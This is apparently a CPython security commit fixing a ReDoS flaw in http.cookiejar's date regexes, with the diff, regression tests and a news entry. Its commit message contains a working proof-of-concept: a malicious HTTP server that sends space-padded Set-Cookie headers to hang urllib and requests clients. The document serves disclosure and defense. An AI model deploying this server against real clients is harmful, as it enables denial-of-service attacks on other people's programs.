bpo-38804: Fix REDoS in http.cookiejar (pythonGH-17157)

The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

Author: bcaller

Lib/http/cookiejar.py

@@ -214,10 +214,14 @@ def _str2time(day, mon, yr, hr, min, sec, tz):
  (?::(\d\d))? # optional seconds
  )? # optional clock
  \s*
- ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
+ (?:
+ ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone
+ \s*
+ )?
+ (?:
+ \(\w+\) # ASCII representation of timezone in parens.
  \s*
- (?:\(\w+\))? # ASCII representation of timezone in parens.
- \s*$""", re.X | re.ASCII)
+ )?$""", re.X | re.ASCII)
 def http2time(text):
  """Returns time in seconds since epoch of time represented by a string.
 
@@ -287,9 +291,11 @@ def http2time(text):
  (?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional)
  )? # optional clock
  \s*
- ([-+]?\d\d?:?(:?\d\d)?
- |Z|z)? # timezone (Z is "zero meridian", i.e. GMT)
- \s*$""", re.X | re. ASCII)
+ (?:
+ ([-+]?\d\d?:?(:?\d\d)?
+ |Z|z) # timezone (Z is "zero meridian", i.e. GMT)
+ \s*
+ )?$""", re.X | re. ASCII)
 def iso2time(text):
  """
  As for http2time, but parses the ISO 8601 formats:

Lib/test/test_http_cookiejar.py

@@ -123,6 +123,13 @@ def test_http2time_garbage(self):
  "http2time(%s) is not None\n"
  "http2time(test) %s" % (test, http2time(test)))
 
+ def test_http2time_redos_regression_actually_completes(self):
+ # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS).
+ # If we regress to cubic complexity, this test will take a very long time to succeed.
+ # If fixed, it should complete within a fraction of a second.
+ http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5))
+ http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5))
+
  def test_iso2time(self):
  def parse_date(text):
  return time.gmtime(iso2time(text))[:6]
@@ -180,6 +187,12 @@ def test_iso2time_garbage(self):
  self.assertIsNone(iso2time(test),
  "iso2time(%r)" % test)
 
+ def test_iso2time_performance_regression(self):
+ # If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed.
+ # If fixed, it should complete within a fraction of a second.
+ iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6))
+ iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6))
+
 
 class HeaderTests(unittest.TestCase):
 

Misc/ACKS

@@ -250,6 +250,7 @@ Zach Byrne
 Vedran Čačić
 Nicolas Cadou
 Jp Calderone
+Ben Caller
 Arnaud Calmettes
 Daniel Calvelo
 Tony Campbell

Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst

@@ -0,0 +1 @@
+Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.